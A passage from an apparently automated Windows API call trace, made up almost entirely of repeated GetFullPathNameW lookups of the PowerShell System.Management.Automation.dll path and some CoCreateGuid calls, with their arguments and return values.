lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.071] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.071] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x510958ec, Data2=0x40d7, Data3=0x40fc, Data4=([0]=0x9e, [1]=0x2b, [2]=0x37, [3]=0x54, [4]=0x47, [5]=0x57, [6]=0xd9, [7]=0xce))) returned 0x0 [0095.071] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.071] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.071] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d444, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.071] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d444, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.073] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.073] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xb63967a7, Data2=0x1fe, Data3=0x478c, Data4=([0]=0xb8, [1]=0xe4, [2]=0xcb, [3]=0x12, [4]=0xb2, [5]=0x1e, [6]=0x4c, [7]=0x17))) returned 0x0 [0095.073] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.073] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.073] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d444, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d444, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d3a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d3a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d3a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.076] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xa73ba37, Data2=0x2273, Data3=0x42d6, Data4=([0]=0xa4, [1]=0xe9, [2]=0x6f, [3]=0xa8, [4]=0xb3, [5]=0xd3, [6]=0x31, [7]=0x49))) returned 0x0 [0095.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.077] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x3970b7b5, Data2=0x473a, Data3=0x42db, Data4=([0]=0x86, [1]=0x70, [2]=0xe8, [3]=0x6a, [4]=0x7d, [5]=0xb1, [6]=0x9d, [7]=0x6e))) returned 0x0 [0095.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.078] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xec7115ff, Data2=0x5231, Data3=0x4fe2, Data4=([0]=0x8a, [1]=0x2, [2]=0x75, [3]=0x81, [4]=0x34, [5]=0xba, [6]=0xdc, [7]=0x35))) returned 0x0 [0095.079] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xa9b25321, Data2=0xf61d, Data3=0x4589, Data4=([0]=0x96, [1]=0xb6, [2]=0x5d, [3]=0xe5, [4]=0xc2, [5]=0x23, [6]=0xaa, [7]=0xd4))) returned 0x0 [0095.079] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x33317351, Data2=0x6ea0, Data3=0x428b, Data4=([0]=0x99, [1]=0xd9, [2]=0x8c, [3]=0x17, [4]=0x83, [5]=0xbe, [6]=0xcd, [7]=0x2a))) returned 0x0 [0095.079] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x5cc46950, Data2=0xbb7a, Data3=0x44a7, Data4=([0]=0x89, [1]=0x6a, [2]=0xff, [3]=0x16, [4]=0x41, [5]=0x2b, [6]=0x3b, [7]=0xd8))) returned 0x0 [0095.079] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x48c83f3e, Data2=0x7f92, Data3=0x435a, Data4=([0]=0xbc, [1]=0x19, [2]=0xc4, [3]=0xde, [4]=0xff, [5]=0xe6, [6]=0xb5, [7]=0xb9))) returned 0x0 [0095.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d3a4, lpFilePart=0x0 | out: 